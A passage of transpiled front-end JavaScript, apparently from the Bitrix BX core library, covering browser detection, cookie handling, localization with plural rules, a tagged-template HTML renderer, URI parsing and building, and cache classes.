				key: "isDoctype",
				value: function isDoctype(target) {
					var doc = target || document;

					if (doc.compatMode) {
						return doc.compatMode === 'CSS1Compat';
					}

					return doc.documentElement && doc.documentElement.clientHeight;
				}
			}, {
				key: "isLocalStorageSupported",
				value: function isLocalStorageSupported() {
					try {
						localStorage.setItem('test', 'test');
						localStorage.removeItem('test');
						return true;
					} catch (e) {
						return false;
					}
				}
			}, {
				key: "addGlobalClass",
				value: function addGlobalClass() {
					var globalClass = 'bx-core';

					if (Dom.hasClass(document.documentElement, globalClass)) {
						return;
					}

					if (Browser.isIOS()) {
						globalClass += ' bx-ios';
					} else if (Browser.isMac()) {
						globalClass += ' bx-mac';
					} else if (Browser.isAndroid()) {
						globalClass += ' bx-android';
					}

					globalClass += Browser.isMobile() ? ' bx-touch' : ' bx-no-touch';
					globalClass += Browser.isRetina() ? ' bx-retina' : ' bx-no-retina';
					var ieVersion = -1;

					if (/AppleWebKit/.test(navigator.userAgent)) {
						globalClass += ' bx-chrome';
					} else if (Browser.detectIEVersion() > 0) {
						ieVersion = Browser.detectIEVersion();
						globalClass += " bx-ie bx-ie".concat(ieVersion);

						if (ieVersion > 7 && ieVersion < 10 && !Browser.isDoctype()) {
							globalClass += ' bx-quirks';
						}
					} else if (/Opera/.test(navigator.userAgent)) {
						globalClass += ' bx-opera';
					} else if (/Gecko/.test(navigator.userAgent)) {
						globalClass += ' bx-firefox';
					}

					Dom.addClass(document.documentElement, globalClass);
				}
			}, {
				key: "detectAndroidVersion",
				value: function detectAndroidVersion() {
					var re = new RegExp('Android ([0-9]+[.0-9]*)');

					if (re.exec(navigator.userAgent) != null) {
						var res = navigator.userAgent.match(re);

						if (Type.isArrayLike(res) && res.length > 0) {
							return parseFloat(res[1]);
						}
					}

					return 0;
				}
			}, {
				key: "isPropertySupported",
				value: function isPropertySupported(jsProperty, returnCSSName) {
					if (jsProperty === '') {
						return false;
					}

					function getCssName(propertyName) {
						return propertyName.replace(/([A-Z])/g, function () {
							for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
								args[_key] = arguments[_key];
							}

							return "-".concat(args[1].toLowerCase());
						});
					}

					function getJsName(cssName) {
						var reg = /(\\-([a-z]))/g;

						if (reg.test(cssName)) {
							return cssName.replace(reg, function () {
								for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
									args[_key2] = arguments[_key2];
								}

								return args[2].toUpperCase();
							});
						}

						return cssName;
					}

					var property = jsProperty.includes('-') ? getJsName(jsProperty) : jsProperty;
					var bReturnCSSName = !!returnCSSName;
					var ucProperty = property.charAt(0).toUpperCase() + property.slice(1);
					var props = ['Webkit', 'Moz', 'O', 'ms'].join("".concat(ucProperty, " "));
					var properties = "".concat(property, " ").concat(props, " ").concat(ucProperty).split(' ');
					var obj = document.body || document.documentElement;

					for (var i = 0; i < properties.length; i += 1) {
						var prop = properties[i];

						if (obj && 'style' in obj && prop in obj.style) {
							var lowerProp = prop.substr(0, prop.length - property.length).toLowerCase();
							var prefix = prop === property ? '' : "-".concat(lowerProp, "-");
							return bReturnCSSName ? prefix + getCssName(property) : prop;
						}
					}

					return false;
				}
			}, {
				key: "addGlobalFeatures",
				value: function addGlobalFeatures(features) {
					if (!Type.isArray(features)) {
						return;
					}

					var classNames = [];

					for (var i = 0; i < features.length; i += 1) {
						var support = !!Browser.isPropertySupported(features[i]);
						classNames.push("bx-".concat(support ? '' : 'no-').concat(features[i].toLowerCase()));
					}

					Dom.addClass(document.documentElement, classNames.join(' '));
				}
			}]);
			return Browser;
		}();

		var Cookie = /*#__PURE__*/function () {
			function Cookie() {
				babelHelpers.classCallCheck(this, Cookie);
			}

			babelHelpers.createClass(Cookie, null, [{
				key: "getList",

				/**
				 * Gets cookies list for current domain
				 * @return {object}
				 */
				value: function getList() {
					return document.cookie.split(';').map(function (item) {
						return item.split('=');
					}).map(function (item) {
						return item.map(function (subItem) {
							return subItem.trim();
						});
					}).reduce(function (acc, item) {
						var _item = babelHelpers.slicedToArray(item, 2),
							key = _item[0],
							value = _item[1];

						acc[decodeURIComponent(key)] = decodeURIComponent(value);
						return acc;
					}, {});
				}
				/**
				 * Gets cookie value
				 * @param {string} name
				 * @return {*}
				 */

			}, {
				key: "get",
				value: function get(name) {
					var cookiesList = Cookie.getList();

					if (name in cookiesList) {
						return cookiesList[name];
					}

					return undefined;
				}
				/**
				 * Sets cookie
				 * @param {string} name
				 * @param {*} value
				 * @param {object} [options]
				 */

			}, {
				key: "set",
				value: function set(name, value) {
					var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
					var attributes = babelHelpers.objectSpread({
						expires: ''
					}, options);

					if (Type.isNumber(attributes.expires)) {
						var now = +new Date();
						var days = attributes.expires;
						var dayInMs = 864e+5;
						attributes.expires = new Date(now + days * dayInMs);
					}

					if (Type.isDate(attributes.expires)) {
						attributes.expires = attributes.expires.toUTCString();
					}

					var safeName = decodeURIComponent(String(name)).replace(/%(23|24|26|2B|5E|60|7C)/g, decodeURIComponent).replace(/[()]/g, escape);
					var safeValue = encodeURIComponent(String(value)).replace(/%(23|24|26|2B|3A|3C|3E|3D|2F|3F|40|5B|5D|5E|60|7B|7D|7C)/g, decodeURIComponent);
					var stringifiedAttributes = Object.keys(attributes).reduce(function (acc, key) {
						var attributeValue = attributes[key];

						if (!attributeValue) {
							return acc;
						}

						if (attributeValue === true) {
							return "".concat(acc, "; ").concat(key);
						}
						/**
						 * Considers RFC 6265 section 5.2:
						 * ...
						 * 3. If the remaining unparsed-attributes contains a %x3B (';')
						 * character:
						 * Consume the characters of the unparsed-attributes up to,
						 * not including, the first %x3B (';') character.
						 */


						return "".concat(acc, "; ").concat(key, "=").concat(attributeValue.split(';')[0]);
					}, '');
					document.cookie = "".concat(safeName, "=").concat(safeValue).concat(stringifiedAttributes);
				}
				/**
				 * Removes cookie
				 * @param {string} name
				 * @param {object} [options]
				 */

			}, {
				key: "remove",
				value: function remove(name) {
					var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
					Cookie.set(name, '', babelHelpers.objectSpread({}, options, {
						expires: -1
					}));
				}
			}]);
			return Cookie;
		}();

		function objectToFormData(source) {
			var formData = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : new FormData();
			var pre = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null;

			if (Type.isUndefined(source)) {
				return formData;
			}

			if (Type.isNull(source)) {
				formData.append(pre, '');
			} else if (Type.isArray(source)) {
				if (!source.length) {
					var _key = "".concat(pre, "[]");

					formData.append(_key, '');
				} else {
					source.forEach(function (value, index) {
						var key = "".concat(pre, "[").concat(index, "]");
						objectToFormData(value, formData, key);
					});
				}
			} else if (Type.isDate(source)) {
				formData.append(pre, source.toISOString());
			} else if (Type.isObject(source) && !Type.isFile(source) && !Type.isBlob(source)) {
				Object.keys(source).forEach(function (property) {
					var value = source[property];
					var preparedProperty = property;

					if (Type.isArray(value)) {
						while (property.length > 2 && property.lastIndexOf('[]') === property.length - 2) {
							preparedProperty = property.substring(0, property.length - 2);
						}
					}

					var key = pre ? "".concat(pre, "[").concat(preparedProperty, "]") : preparedProperty;
					objectToFormData(value, formData, key);
				});
			} else {
				formData.append(pre, source);
			}

			return formData;
		}

		var Data = /*#__PURE__*/function () {
			function Data() {
				babelHelpers.classCallCheck(this, Data);
			}

			babelHelpers.createClass(Data, null, [{
				key: "convertObjectToFormData",

				/**
				 * Converts object to FormData
				 * @param source
				 * @return {FormData}
				 */
				value: function convertObjectToFormData(source) {
					return objectToFormData(source);
				}
			}]);
			return Data;
		}();

		/**
		 * @memberOf BX
		 */

		var Http = function Http() {
			babelHelpers.classCallCheck(this, Http);
		};

		babelHelpers.defineProperty(Http, "Cookie", Cookie);
		babelHelpers.defineProperty(Http, "Data", Data);

		function message(value) {
			if (Type.isString(value)) {
				if (Type.isNil(message[value])) {
					// eslint-disable-next-line
					EventEmitter.emit('onBXMessageNotFound', new BaseEvent({
						compatData: [value]
					}));

					if (Type.isNil(message[value])) {
						Runtime.debug("message undefined: ".concat(value));
						message[value] = '';
					}
				}
			}

			if (Type.isPlainObject(value)) {
				Object.keys(value).forEach(function (key) {
					message[key] = value[key];
				});
			}

			return message[value];
		}

		if (!Type.isNil(window.BX) && Type.isFunction(window.BX.message)) {
			Object.keys(window.BX.message).forEach(function (key) {
				message(babelHelpers.defineProperty({}, key, window.BX.message[key]));
			});
		}

		/**
		 * Implements interface for works with language messages
		 * @memberOf BX
		 */

		var Loc = /*#__PURE__*/function () {
			function Loc() {
				babelHelpers.classCallCheck(this, Loc);
			}

			babelHelpers.createClass(Loc, null, [{
				key: "getMessage",

				/**
				 * Gets message by id
				 * @param {string} messageId
				 * @param {object} replacements
				 * @return {?string}
				 */
				value: function getMessage(messageId) {
					var replacements = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null;
					var mess = message(messageId);

					if (Type.isString(mess) && Type.isPlainObject(replacements)) {
						Object.keys(replacements).forEach(function (replacement) {
							var globalRegexp = new RegExp(replacement, 'gi');
							mess = mess.replace(globalRegexp, function () {
								return Type.isNil(replacements[replacement]) ? '' : String(replacements[replacement]);
							});
						});
					}

					return mess;
				}
			}, {
				key: "hasMessage",
				value: function hasMessage(messageId) {
					return Type.isString(messageId) && !Type.isNil(message[messageId]);
				}
				/**
				 * Sets message or messages
				 * @param {string | Object<string, string>} id
				 * @param {string} [value]
				 */

			}, {
				key: "setMessage",
				value: function setMessage(id, value) {
					if (Type.isString(id) && Type.isString(value)) {
						message(babelHelpers.defineProperty({}, id, value));
					}

					if (Type.isObject(id)) {
						message(id);
					}
				}
				/**
				 * Gets plural message by id and number
				 * @param {string} messageId
				 * @param {number} value
				 * @param {object} [replacements]
				 * @return {?string}
				 */

			}, {
				key: "getMessagePlural",
				value: function getMessagePlural(messageId, value) {
					var replacements = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null;
					var result = '';

					if (Type.isNumber(value)) {
						if (this.hasMessage("".concat(messageId, "_PLURAL_").concat(this.getPluralForm(value)))) {
							result = this.getMessage("".concat(messageId, "_PLURAL_").concat(this.getPluralForm(value)), replacements);
						} else {
							result = this.getMessage("".concat(messageId, "_PLURAL_1"), replacements);
						}
					} else {
						result = this.getMessage(messageId, replacements);
					}

					return result;
				}
				/**
				 * Gets language plural form id by number
				 * see http://docs.translatehouse.org/projects/localization-guide/en/latest/l10n/pluralforms.html
				 * @param {number} value
				 * @param {string} [languageId]
				 * @return {?number}
				 */

			}, {
				key: "getPluralForm",
				value: function getPluralForm(value, languageId) {
					var pluralForm;

					if (!Type.isStringFilled(languageId)) {
						languageId = message('LANGUAGE_ID');
					}

					if (value < 0) {
						value = -1 * value;
					}

					switch (languageId) {
						case 'ar':
							pluralForm = value !== 1 ? 1 : 0;
							/*
	          				if (value === 0)
	          				{
	          					pluralForm = 0;
	          				}
	          				else if (value === 1)
	          				{
	          					pluralForm = 1;
	          				}
	          				else if (value === 2)
	          				{
	          					pluralForm = 2;
	          				}
	          				else if (
	          					value % 100 >= 3
	          					&& value % 100 <= 10
	          				)
	          				{
	          					pluralForm = 3;
	          				}
	          				else if (value % 100 >= 11)
	          				{
	          					pluralForm = 4;
	          				}
	          				else
	          				{
	          					pluralForm = 5;
	          				}
	           */

							break;

						case 'br':
						case 'fr':
						case 'tr':
							pluralForm = value > 1 ? 1 : 0;
							break;

						case 'de':
						case 'en':
						case 'hi':
						case 'it':
						case 'la':
							pluralForm = value !== 1 ? 1 : 0;
							break;

						case 'ru':
						case 'ua':
							if (value % 10 === 1 && value % 100 !== 11) {
								pluralForm = 0;
							} else if (value % 10 >= 2 && value % 10 <= 4 && (value % 100 < 10 || value % 100 >= 20)) {
								pluralForm = 1;
							} else {
								pluralForm = 2;
							}

							break;

						case 'pl':
							if (value === 1) {
								pluralForm = 0;
							} else if (value % 10 >= 2 && value % 10 <= 4 && (value % 100 < 10 || value % 100 >= 20)) {
								pluralForm = 1;
							} else {
								pluralForm = 2;
							}

							break;

						case 'id':
						case 'ja':
						case 'ms':
						case 'sc':
						case 'tc':
						case 'th':
						case 'vn':
							pluralForm = 0;
							break;

						default:
							pluralForm = 1;
							break;
					}

					return pluralForm;
				}
			}]);
			return Loc;
		}();

		var handlers = new Map();
		var children = new Map();

		var getUid = function () {
			var incremental = 0;
			return function () {
				incremental += 1;
				return incremental;
			};
		}();

		function bindAll(element, handlersMap) {
			handlersMap.forEach(function (handler, key) {
				var currentElement = element.querySelector("[".concat(key, "]"));

				if (currentElement) {
					currentElement.removeAttribute(key);
					var event = key.replace(/-(.*)/, '');
					Event.bind(currentElement, event, handler);
					handlers.delete(key);
				}
			});
		}

		function replaceChild(element, childrenMap) {
			childrenMap.forEach(function (item, id) {
				var currentElement = element.getElementById(id);

				if (currentElement) {
					Dom.replace(currentElement, item);
					children.delete(id);
				}
			});
		}

		function render(sections) {
			var eventAttrRe = /[ |\t]on(\w+)="$/;
			var uselessSymbolsRe = /[\r\n\t]/g;

			for (var _len = arguments.length, substitutions = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
				substitutions[_key - 1] = arguments[_key];
			}

			var html = substitutions.reduce(function (acc, item, index) {
				var preparedAcc = acc; // Process event handlers

				var matches = acc.match(eventAttrRe);

				if (matches && Type.isFunction(item)) {
					var eventName = matches[1].replace(/=['|"]/, '');
					var attrName = "".concat(eventName, "-").concat(getUid());
					var attribute = "".concat(attrName, "=\"");
					preparedAcc = preparedAcc.replace(eventAttrRe, " ".concat(attribute));
					handlers.set(attrName, item);
					preparedAcc += sections[index + 1].replace(uselessSymbolsRe, ' ').replace(/  +/g, ' ');
					return preparedAcc;
				} // Process element


				if (Type.isDomNode(item)) {
					var childKey = "tmp___".concat(getUid());
					children.set(childKey, item);
					preparedAcc += "<span id=\"".concat(childKey, "\"> </span>");
					preparedAcc += sections[index + 1];
					return preparedAcc;
				} // Process array


				if (Type.isArray(item)) {
					babelHelpers.toConsumableArray(item).forEach(function (currentElement) {
						if (Type.isDomNode(currentElement)) {
							var _childKey = "tmp___".concat(getUid());

							children.set(_childKey, currentElement);
							preparedAcc += "<span id=\"".concat(_childKey, "\"> </span>");
						}
					});
					preparedAcc += sections[index + 1];
					return preparedAcc;
				}

				return preparedAcc + item + sections[index + 1];
			}, sections[0]);
			var lowercaseHtml = html.trim().toLowerCase();

			if (lowercaseHtml.startsWith('<!doctype') || lowercaseHtml.startsWith('<html')) {
				var doc = document.implementation.createHTMLDocument('');
				doc.documentElement.innerHTML = html;
				replaceChild(doc, children);
				bindAll(doc, handlers);
				handlers.clear();
				return doc;
			}

			var parser = new DOMParser();
			var parsedDocument = parser.parseFromString(html, 'text/html');
			replaceChild(parsedDocument, children);
			bindAll(parsedDocument, handlers);

			if (parsedDocument.head.children.length && parsedDocument.body.children.length) {
				return parsedDocument;
			}

			if (parsedDocument.body.children.length === 1) {
				var _parsedDocument$body$ = babelHelpers.slicedToArray(parsedDocument.body.children, 1),
					el = _parsedDocument$body$[0];

				Dom.remove(el);
				return el;
			}

			if (parsedDocument.body.children.length > 1) {
				return babelHelpers.toConsumableArray(parsedDocument.body.children).map(function (item) {
					Dom.remove(item);
					return item;
				});
			}

			if (parsedDocument.body.children.length === 0) {
				if (parsedDocument.head.children.length === 1) {
					var _parsedDocument$head$ = babelHelpers.slicedToArray(parsedDocument.head.children, 1),
						_el = _parsedDocument$head$[0];

					Dom.remove(_el);
					return _el;
				}

				if (parsedDocument.head.children.length > 1) {
					return babelHelpers.toConsumableArray(parsedDocument.head.children).map(function (item) {
						Dom.remove(item);
						return item;
					});
				}
			}

			return false;
		}

		function parseProps(sections) {
			for (var _len = arguments.length, substitutions = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
				substitutions[_key - 1] = arguments[_key];
			}

			return substitutions.reduce(function (acc, item, index) {
				var nextSectionIndex = index + 1;

				if (!Type.isPlainObject(item) && !Type.isArray(item)) {
					return acc + item + sections[nextSectionIndex];
				}

				return "".concat(acc, "__s").concat(index).concat(sections[nextSectionIndex]);
			}, sections[0]).replace(/[\r\t]/gm, '').split(';\n').map(function (item) {
				return item.replace(/\n/, '');
			}).reduce(function (acc, item) {
				if (item !== '') {
					var matches = item.match(/^[\w-. ]+:/);
					var splitted = item.split(/^[\w-. ]+:/);

					var _key2 = matches[0].replace(':', '').trim();

					var value = splitted[1].trim();
					var substitutionPlaceholderExp = /^__s\d+/;

					if (substitutionPlaceholderExp.test(value)) {
						acc[_key2] = substitutions[value.replace('__s', '')];
						return acc;
					}

					acc[_key2] = value;
				}

				return acc;
			}, {});
		}
		/**
		 * @memberOf BX
		 */


		var Tag = /*#__PURE__*/function () {
			function Tag() {
				babelHelpers.classCallCheck(this, Tag);
			}

			babelHelpers.createClass(Tag, null, [{
				key: "safe",

				/**
				 * Encodes all substitutions
				 * @param sections
				 * @param substitutions
				 * @return {string}
				 */
				value: function safe(sections) {
					for (var _len2 = arguments.length, substitutions = new Array(_len2 > 1 ? _len2 - 1 : 0), _key3 = 1; _key3 < _len2; _key3++) {
						substitutions[_key3 - 1] = arguments[_key3];
					}

					return substitutions.reduce(function (acc, item, index) {
						return acc + Text.encode(item) + sections[index + 1];
					}, sections[0]);
				}
				/**
				 * Decodes all substitutions
				 * @param sections
				 * @param substitutions
				 * @return {string}
				 */

			}, {
				key: "unsafe",
				value: function unsafe(sections) {
					for (var _len3 = arguments.length, substitutions = new Array(_len3 > 1 ? _len3 - 1 : 0), _key4 = 1; _key4 < _len3; _key4++) {
						substitutions[_key4 - 1] = arguments[_key4];
					}

					return substitutions.reduce(function (acc, item, index) {
						return acc + Text.decode(item) + sections[index + 1];
					}, sections[0]);
				}
				/**
				 * Adds styles to specified element
				 * @param {HTMLElement} element
				 * @return {Function}
				 */

			}, {
				key: "style",
				value: function style(element) {
					if (!Type.isDomNode(element)) {
						throw new Error('element is not HTMLElement');
					}

					return function styleTagHandler() {
						Dom.style(element, parseProps.apply(void 0, arguments));
					};
				}
				/**
				 * Replace all messages identifiers to real messages
				 * @param sections
				 * @param substitutions
				 * @return {string}
				 */

			}, {
				key: "message",
				value: function message(sections) {
					for (var _len4 = arguments.length, substitutions = new Array(_len4 > 1 ? _len4 - 1 : 0), _key5 = 1; _key5 < _len4; _key5++) {
						substitutions[_key5 - 1] = arguments[_key5];
					}

					return substitutions.reduce(function (acc, item, index) {
						return acc + Loc.getMessage(item) + sections[index + 1];
					}, sections[0]);
				}
			}, {
				key: "attrs",

				/**
				 * Adds attributes to specified element
				 * @param element
				 * @return {Function}
				 */
				value: function attrs(element) {
					if (!Type.isDomNode(element)) {
						throw new Error('element is not HTMLElement');
					}

					return function attrsTagHandler() {
						Dom.attr(element, parseProps.apply(void 0, arguments));
					};
				}
			}]);
			return Tag;
		}();

		babelHelpers.defineProperty(Tag, "render", render);
		babelHelpers.defineProperty(Tag, "attr", Tag.attrs);

		function getParser(format) {
			switch (format) {
				case 'index':
					return function (sourceKey, value, accumulator) {
						var result = /\[(\w*)\]$/.exec(sourceKey);
						var key = sourceKey.replace(/\[\w*\]$/, '');

						if (Type.isNil(result)) {
							accumulator[key] = value;
							return;
						}

						if (Type.isUndefined(accumulator[key])) {
							accumulator[key] = {};
						}

						accumulator[key][result[1]] = value;
					};

				case 'bracket':
					return function (sourceKey, value, accumulator) {
						var result = /(\[\])$/.exec(sourceKey);
						var key = sourceKey.replace(/\[\]$/, '');

						if (Type.isNil(result)) {
							accumulator[key] = value;
							return;
						}

						if (Type.isUndefined(accumulator[key])) {
							accumulator[key] = [value];
							return;
						}

						accumulator[key] = [].concat(accumulator[key], value);
					};

				default:
					return function (sourceKey, value, accumulator) {
						var key = sourceKey.replace(/\[\]$/, '');
						accumulator[key] = value;
					};
			}
		}

		function getKeyFormat(key) {
			if (/^\w+\[([\w]+)\]$/.test(key)) {
				return 'index';
			}

			if (/^\w+\[\]$/.test(key)) {
				return 'bracket';
			}

			return 'default';
		}

		function parseQuery(input) {
			if (!Type.isString(input)) {
				return {};
			}

			var url = input.trim().replace(/^[?#&]/, '');

			if (!url) {
				return {};
			}

			return url.split('&').reduce(function (acc, param) {
				var _param$replace$split = param.replace(/\+/g, ' ').split('='),
					_param$replace$split2 = babelHelpers.slicedToArray(_param$replace$split, 2),
					key = _param$replace$split2[0],
					value = _param$replace$split2[1];

				var keyFormat = getKeyFormat(key);
				var formatter = getParser(keyFormat);
				formatter(key, value, acc);
				return acc;
			}, {});
		}

		var urlExp = /^((\w+):)?(\/\/((\w+)?(:(\w+))?@)?([^\/\?:]+)(:(\d+))?)?(\/?([^\/\?#][^\?#]*)?)?(\?([^#]+))?(#(\w*))?/;
		function parseUrl(url) {
			var result = url.match(urlExp);

			if (Type.isArray(result)) {
				var queryParams = parseQuery(result[14]);
				return {
					useShort: /^\/\//.test(url),
					href: result[0] || '',
					schema: result[2] || '',
					host: result[8] || '',
					port: result[10] || '',
					path: result[11] || '',
					query: result[14] || '',
					queryParams: queryParams,
					hash: result[16] || '',
					username: result[5] || '',
					password: result[7] || '',
					origin: result[8] || ''
				};
			}

			return {};
		}

		function buildQueryString() {
			var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
			var queryString = Object.keys(params).reduce(function (acc, key) {
				if (Type.isArray(params[key])) {
					params[key].forEach(function (paramValue) {
						acc.push("".concat(key, "[]=").concat(paramValue));
					}, '');
				}

				if (Type.isPlainObject(params[key])) {
					Object.keys(params[key]).forEach(function (paramIndex) {
						acc.push("".concat(key, "[").concat(paramIndex, "]=").concat(params[key][paramIndex]));
					}, '');
				}

				if (!Type.isObject(params[key]) && !Type.isArray(params[key])) {
					acc.push("".concat(key, "=").concat(params[key]));
				}

				return acc;
			}, []).join('&');

			if (queryString.length > 0) {
				return "?".concat(queryString);
			}

			return queryString;
		}

		function prepareParamValue(value) {
			if (Type.isArray(value)) {
				return value.map(function (item) {
					return String(item);
				});
			}

			if (Type.isPlainObject(value)) {
				return babelHelpers.objectSpread({}, value);
			}

			return String(value);
		}

		var map = new WeakMap();
		/**
		 * Implements interface for works with URI
		 * @memberOf BX
		 */

		var Uri = /*#__PURE__*/function () {
			babelHelpers.createClass(Uri, null, [{
				key: "addParam",
				value: function addParam(url) {
					var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
					return new Uri(url).setQueryParams(params).toString();
				}
			}, {
				key: "removeParam",
				value: function removeParam(url, params) {
					var _Uri;

					var removableParams = Type.isArray(params) ? params : [params];
					return (_Uri = new Uri(url)).removeQueryParam.apply(_Uri, babelHelpers.toConsumableArray(removableParams)).toString();
				}
			}]);

			function Uri() {
				var url = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
				babelHelpers.classCallCheck(this, Uri);
				map.set(this, parseUrl(url));
			}
			/**
			 * Gets schema
			 * @return {?string}
			 */


			babelHelpers.createClass(Uri, [{
				key: "getSchema",
				value: function getSchema() {
					return map.get(this).schema;
				}
				/**
				 * Sets schema
				 * @param {string} schema
				 * @return {Uri}
				 */

			}, {
				key: "setSchema",
				value: function setSchema(schema) {
					map.get(this).schema = String(schema);
					return this;
				}
				/**
				 * Gets host
				 * @return {?string}
				 */

			}, {
				key: "getHost",
				value: function getHost() {
					return map.get(this).host;
				}
				/**
				 * Sets host
				 * @param {string} host
				 * @return {Uri}
				 */

			}, {
				key: "setHost",
				value: function setHost(host) {
					map.get(this).host = String(host);
					return this;
				}
				/**
				 * Gets port
				 * @return {?string}
				 */

			}, {
				key: "getPort",
				value: function getPort() {
					return map.get(this).port;
				}
				/**
				 * Sets port
				 * @param {String | Number} port
				 * @return {Uri}
				 */

			}, {
				key: "setPort",
				value: function setPort(port) {
					map.get(this).port = String(port);
					return this;
				}
				/**
				 * Gets path
				 * @return {?string}
				 */

			}, {
				key: "getPath",
				value: function getPath() {
					return map.get(this).path;
				}
				/**
				 * Sets path
				 * @param {string} path
				 * @return {Uri}
				 */

			}, {
				key: "setPath",
				value: function setPath(path) {
					if (!/^\//.test(path)) {
						map.get(this).path = "/".concat(String(path));
						return this;
					}

					map.get(this).path = String(path);
					return this;
				}
				/**
				 * Gets query
				 * @return {?string}
				 */

			}, {
				key: "getQuery",
				value: function getQuery() {
					return buildQueryString(map.get(this).queryParams);
				}
				/**
				 * Gets query param value by name
				 * @param {string} key
				 * @return {?string}
				 */

			}, {
				key: "getQueryParam",
				value: function getQueryParam(key) {
					var params = this.getQueryParams();

					if (key in params) {
						return params[key];
					}

					return null;
				}
				/**
				 * Sets query param
				 * @param {string} key
				 * @param [value]
				 * @return {Uri}
				 */

			}, {
				key: "setQueryParam",
				value: function setQueryParam(key) {
					var value = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : '';
					map.get(this).queryParams[key] = prepareParamValue(value);
					return this;
				}
				/**
				 * Gets query params
				 * @return {Object<string, any>}
				 */

			}, {
				key: "getQueryParams",
				value: function getQueryParams() {
					return babelHelpers.objectSpread({}, map.get(this).queryParams);
				}
				/**
				 * Sets query params
				 * @param {Object<string, any>} params
				 * @return {Uri}
				 */

			}, {
				key: "setQueryParams",
				value: function setQueryParams() {
					var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
					var currentParams = this.getQueryParams();
					var newParams = babelHelpers.objectSpread({}, currentParams, params);
					Object.keys(newParams).forEach(function (key) {
						newParams[key] = prepareParamValue(newParams[key]);
					});
					map.get(this).queryParams = newParams;
					return this;
				}
				/**
				 * Removes query params by name
				 * @param keys
				 * @return {Uri}
				 */

			}, {
				key: "removeQueryParam",
				value: function removeQueryParam() {
					var currentParams = babelHelpers.objectSpread({}, map.get(this).queryParams);

					for (var _len = arguments.length, keys = new Array(_len), _key = 0; _key < _len; _key++) {
						keys[_key] = arguments[_key];
					}

					keys.forEach(function (key) {
						if (key in currentParams) {
							delete currentParams[key];
						}
					});
					map.get(this).queryParams = currentParams;
					return this;
				}
				/**
				 * Gets fragment
				 * @return {?string}
				 */

			}, {
				key: "getFragment",
				value: function getFragment() {
					return map.get(this).hash;
				}
				/**
				 * Sets fragment
				 * @param {string} hash
				 * @return {Uri}
				 */

			}, {
				key: "setFragment",
				value: function setFragment(hash) {
					map.get(this).hash = String(hash);
					return this;
				}
				/**
				 * Serializes URI
				 * @return {Object}
				 */

			}, {
				key: "serialize",
				value: function serialize() {
					var serialized = babelHelpers.objectSpread({}, map.get(this));
					serialized.href = this.toString();
					return serialized;
				}
				/**
				 * Gets URI string
				 * @return {string}
				 */

			}, {
				key: "toString",
				value: function toString() {
					var data = babelHelpers.objectSpread({}, map.get(this));
					var protocol = data.schema ? "".concat(data.schema, "://") : '';

					if (data.useShort) {
						protocol = '//';
					}

					var port = function () {
						if (Type.isString(data.port) && !['', '80'].includes(data.port)) {
							return ":".concat(data.port);
						}

						return '';
					}();

					var host = this.getHost();
					var path = this.getPath();
					var query = buildQueryString(data.queryParams);
					var hash = data.hash ? "#".concat(data.hash) : '';
					return "".concat(host ? protocol : '').concat(host).concat(host ? port : '').concat(path).concat(query).concat(hash);
				}
			}]);
			return Uri;
		}();

		/**
		 * @memberOf BX
		 */
		var Validation = /*#__PURE__*/function () {
			function Validation() {
				babelHelpers.classCallCheck(this, Validation);
			}

			babelHelpers.createClass(Validation, null, [{
				key: "isEmail",

				/**
				 * Checks that value is valid email
				 * @param value
				 * @return {boolean}
				 */
				value: function isEmail(value) {
					var exp = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/;
					return exp.test(String(value).toLowerCase());
				}
			}]);
			return Validation;
		}();

		var BaseCache = /*#__PURE__*/function () {
			function BaseCache() {
				babelHelpers.classCallCheck(this, BaseCache);
				babelHelpers.defineProperty(this, "storage", new Map());
			}

			babelHelpers.createClass(BaseCache, [{
				key: "get",

				/**
				 * Gets cached value or default value
				 */
				value: function get(key, defaultValue) {
					if (!this.storage.has(key)) {
						if (Type.isFunction(defaultValue)) {
							return defaultValue();
						}

						if (!Type.isUndefined(defaultValue)) {
							return defaultValue;
						}
					}

					return this.storage.get(key);
				}
				/**
				 * Sets cache entry
				 */

			}, {
				key: "set",
				value: function set(key, value) {
					this.storage.set(key, value);
				}
				/**
				 * Deletes cache entry
				 */

			}, {
				key: "delete",
				value: function _delete(key) {
					this.storage.delete(key);
				}
				/**
				 * Checks that storage contains entry with specified key
				 */

			}, {
				key: "has",
				value: function has(key) {
					return this.storage.has(key);
				}
				/**
				 * Gets cached value if exists,
				 */

			}, {
				key: "remember",
				value: function remember(key, defaultValue) {
					if (!this.storage.has(key)) {
						if (Type.isFunction(defaultValue)) {
							this.storage.set(key, defaultValue());
						} else if (!Type.isUndefined(defaultValue)) {
							this.storage.set(key, defaultValue);
						}
					}

					return this.storage.get(key);
				}
				/**
				 * Gets storage size
				 */

			}, {
				key: "size",
				value: function size() {
					return this.storage.size;
				}
				/**
				 * Gets storage keys
				 */

			}, {
				key: "keys",
				value: function keys() {
					return babelHelpers.toConsumableArray(this.storage.keys());
				}
				/**
				 * Gets storage values
				 */

			}, {
				key: "values",
				value: function values() {
					return babelHelpers.toConsumableArray(this.storage.values());
				}
			}]);
			return BaseCache;
		}();

		var MemoryCache = /*#__PURE__*/function (_BaseCache) {
			babelHelpers.inherits(MemoryCache, _BaseCache);

			function MemoryCache() {
				var _babelHelpers$getProt;

				var _this;

				babelHelpers.classCallCheck(this, MemoryCache);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

